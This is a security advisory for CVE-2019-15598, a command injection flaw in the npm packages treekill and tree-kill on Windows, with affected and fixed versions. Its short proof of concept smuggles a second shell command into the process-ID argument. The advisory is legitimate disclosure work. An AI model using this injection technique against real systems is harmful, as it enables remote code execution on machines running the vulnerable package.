Advisory

GHSA-j7fq-p9q7-5wfv

Also known as: CVE-2019-15598

Summary

Treekill Enables OS Command Injection

Details

A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.

Steps To Reproduce:
Create the following PoC file:

var kill = require('treekill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');

Execute the following commands in terminal:

npm i treekill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)

The HACKED.txt has been created

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2022-05-24 17:04 UTC
Modified
2024-04-22 23:44 UTC

Affected packages and fixes

tree-kill

npm · All systems

Affected

  • introduced 0, fixed 1.2.2 (semver)

Fixed versions

1.2.2

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences